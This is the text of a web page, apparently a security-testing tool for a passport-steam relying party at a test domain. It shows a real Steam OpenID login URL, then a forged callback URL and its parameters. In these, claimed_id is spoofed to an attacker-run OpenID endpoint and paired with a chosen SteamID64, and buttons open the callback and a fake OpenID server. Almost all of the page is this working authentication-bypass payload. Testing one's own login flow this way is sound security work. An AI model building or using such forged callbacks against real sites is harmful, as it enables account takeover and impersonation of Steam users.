Steam sign-in URL

Back

На этой странице можно либо взять реальную ссылку, которую `passport-steam` сгенерировал для редиректа на Steam, либо вставить свою `Normal Steam auth URL` вручную.

Generated Steam auth URL

https://steamcommunity.com/openid/login?openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.return_to=https%3A%2F%2Ftmatestapp.com%2Fauth%2Fsteam%2Freturn&openid.realm=https%3A%2F%2Ftmatestapp.com%2F

Continue to real Steam login

Build forged callback from your own auth URL

Forged callback URL

Ссылка ниже собрана на основе вставленного normal auth URL, но с поддельным `claimed_id` и выбранным `SteamID64`.

https://tmatestapp.com/auth/steam/return?openid.mode=id_res&openid.op_endpoint=https%3A%2F%2Fsteamcommunity.com%2Fopenid%2Flogin&openid.claimed_id=https%3A%2F%2Fopenid.tmatestapp.com%2Fclaimed%2F76561197960287930&openid.identity=https%3A%2F%2Fsteamcommunity.com%2Fopenid%2Fid%2F76561197960287930&openid.return_to=https%3A%2F%2Ftmatestapp.com%2Fauth%2Fsteam%2Freturn&openid.response_nonce=2026-08-01T12%3A32%3A43.381Z&openid.assoc_handle=%7Bmsacqdmd%7D2zExOy4tq9lwXmoyYYymoitL&openid.signed=op_endpoint%2Cclaimed_id%2Cidentity%2Creturn_to%2Cresponse_nonce%2Cassoc_handle&openid.sig=pT%2F9PBNJU5fiAiaehqbZtzR9PMM%3D

Open forged callback in RP

Forged callback params

{
  "openid.mode": "id_res",
  "openid.op_endpoint": "https://steamcommunity.com/openid/login",
  "openid.claimed_id": "https://openid.tmatestapp.com/claimed/76561197960287930",
  "openid.identity": "https://steamcommunity.com/openid/id/76561197960287930",
  "openid.return_to": "https://tmatestapp.com/auth/steam/return",
  "openid.response_nonce": "2026-08-01T12:32:43.381Z",
  "openid.assoc_handle": "{msacqdmd}klS9f2YDNcTbdz5DCCcbpbcX",
  "openid.signed": "op_endpoint,claimed_id,identity,return_to,response_nonce,assoc_handle",
  "openid.sig": "Lyuvw6vCPx+Zj0UaBtll6vv9J+A="
}

Open separate fake OpenID server